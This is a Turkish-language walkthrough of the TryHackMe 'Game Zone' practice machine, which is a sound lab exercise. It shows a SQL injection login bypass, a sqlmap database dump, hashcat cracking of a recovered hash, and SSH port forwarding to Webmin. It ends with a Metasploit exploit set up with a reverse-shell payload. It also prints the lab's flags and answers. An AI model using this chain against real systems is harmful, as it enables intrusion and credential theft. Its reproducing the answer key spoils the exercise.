TryHackMe üzerinden Game Zone zafiyetli makinesi için çözümleri adım adım gerçekleştireceğim.
Task 1
What is the name of the large cartoon avatar holding a sniper on the forum?
Agent 47
Task 2
Use ‘ or 1=1 — – as your username and leave the password blank. Kullanıcı adı alanına ‘ or 1=1 — – yazdığımız da doğrudan portal.php’ye yönlendiriyor.
When you’ve logged in, what page do you get redirected to?
portal.php
Task 3
SQLMap Kullanımı
Burada bizden SQLMap kullanmamızı istiyor. SQLMap popüler açık kaynaklı otomatik SQL Injection ve veritabanı ele geçirme aracıdır. Kali Lİnux dağıtımlarım da yüklü gelir. Bir çok çeşit SQL Injection bulunur.(boolen/time based, error based gibi) bunların hepsini hedef sistem üzerinde dener.
İlk olarak gönderdiğimiz isteği Burp Suite ile yakalacağız ve isteği request.txt olarak kaydedeceğiz. Burp Suite proxy ayarlarını yapılandırılmalı ya da kendi içeresinde bulunan tarayıcı ile istek yakalanmalıdır.
Sağ tık ile save item request.txt olarak kayıt edilir. Kaydettiğimiz istek sayesinde şuan ki kullancımızın session bilgileri ile saldırıyı gerçekleştiriyor olacağız.
SQLMap Bazı Komutları
-r , önceden kayıt edilmiş istek bilgileri için
–dbms , hangi tip veritabanı olduğunu belirtilen yerdir.
–dump , tüm veritabanın dışarı aktarılmasını sağlar.
“Veritabanın tipini ‘ ifadesini sonucunda aldığımız syntax hatasında MySQL olduğunu anladık.”
sqlmap -r request.txt --dbms=mysql --dump
Y/n : Y
y/N: Y şeklinde cevaplar verebiliriz.
In the users table, what is the hashed password?
ab5db915fc9cea6c78df88106c6500c57f2b52901ca6c0c6218f04122c3efd14
What was the username associated with the hashed password?
agent47
What was the other table name?
post
İki adet tablo bulunmaktadır. Bunlar: post ve users tablolarıdır.
Task 4
ab5db915fc9cea6c78df88106c6500c57f2b52901ca6c0c6218f04122c3efd14 bulduğum hash değerinin ilk olarak türünü name-that-hash ile tespit edeceğim.
echo "ab5db915fc9cea6c78df88106c6500c57f2b52901ca6c0c6218f04122c3efd14" > hash.txt
nth --file hash.xt
Daha fazla hash crack işlemleri için https://www.asimmisirli.com/hashcat-kullanimi/ yazısından faydalanabilirsiniz.
Elimizde ki hash türü sha-256 ve hashcat HC kodu ise 1400 bunu rockyou.txt ile kıralım
hashcat -a 0 -m 1400 hash.txt /usr/share/wordlists/rockyou.txt
What is the de-hashed password?
videogamer124
ssh agent47@10.10.102.191
password: videogamer124
Now you have a password and username. Try SSH’ing onto the machine.
cat user.txt
What is the user flag?
649ac17b1480ac13ef1e4fa579dac95c
Task 5
How many TCP sockets are running?
ss -tulpn
5
ss aracını netstat ile benzer özeliklere sahiptir. Tüm dağıtımlarımda kurulu gelir.
-t tcp soketleri gösterir
-u udp soketleri gösterir
-l dinlenen soketleri gösterir
-p Prosesin kullandığı socketi gösterir
-n servis ismini çözmesini engeller
What is the name of the exposed CMS?
Webmin
Reverse SSH Port Forwarding
Burada bizden istediği local port forwarding işlemidir.
-L belirtilen lokal portun uzak hedef sunucunun belirtilen portuna yönlendirilmesini sağlar.(Yani Client üzerinden bize gelmesini sağlar.)
-R remote tüneldir.(Bizim üzerimizden -> client doğrudur.)
ssh -L 10000:127.0.0.1:10000 agent47@10.10.102.191
Kendi lokal sunucumuza yönlendirme yapmış olduk. Bu sayede erişim sağlayabiliriz. Yönlendirme yapmasaydin Webmin paneline erişim sağlayamazdık.
Ek bilgi; “SSH Tunneling üç çeşittir. Bunlar: Local Port Forwarding, Remote Port Forwarding ve Dynamic’dir”
What is the CMS version?
1.580
Elimizde ki agent47:videogamer124 bilgileri ile Webmin’e erişim sağlayabilir. Erişim sonrası tarayıcı üzerinden localhost:10000 adresine gidilir.
Task6
What is the root flag?
a4b945830144bdd71908d12d902adeee
CMS versiyonu searchsploit ya da explloit db üzerinden 1.580 Webmin zafiyetleri olarak zafiyet araştırması yapılabilir. Bununla beraber aşağıda ki adımlarla makineye root erişimi sağlanır.
msfconsole
exploit/unix/webapp/webmin_show_cgi_exec
set rhosts 127.0.0.1
set ssl false
set username agent47
set password videogamer124
set payload payload/cmd/unix/reverse
set lhost 10.8.233.100
set lport 4343
set rpot 10000